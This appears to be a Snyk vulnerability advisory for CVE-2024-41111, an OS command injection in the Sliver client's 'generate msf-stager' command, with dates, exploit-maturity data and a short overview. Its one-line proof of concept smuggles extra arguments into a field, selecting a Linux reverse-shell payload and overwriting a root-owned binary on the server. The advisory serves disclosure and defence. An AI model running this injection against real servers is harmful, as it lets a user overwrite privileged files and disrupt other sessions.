OS Command Injection Affecting github.com/bishopfox/sliver/client/command/extensions package, versions *
Threat Intelligence
Exploit Maturity
Proof of concept
EPSS
0.05% (17th
percentile)
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Test your applications- Snyk ID SNYK-GOLANG-GITHUBCOMBISHOPFOXSLIVERCLIENTCOMMANDEXTENSIONS-7547212
- published 23 Jul 2024
- disclosed 18 Jul 2024
- credit hyperreality
Introduced: 18 Jul 2024
CVE-2024-41111 Open this link in a new tabHow to fix?
A fix was pushed into the master branch but not yet published.
Overview
github.com/bishopfox/sliver/client/command/extensions is a package that allows loading and executing 3rd party extensions
Affected versions of this package are vulnerable to OS Command Injection using the generate msf-stager command. An operator user can expose or modify files on the server with root privileges, or interrupt some or all other sessions on the server by manipulating the --out command-line argument to overwrite the root binary.
PoC
sliver > generate msf-stager --lhost 192.168.0.128 --lport 8888 --advanced --platform=linux&--payload=linux/x64/shell_reverse_tcp&--format=elf&--out=/root/.sliver/go/bin/go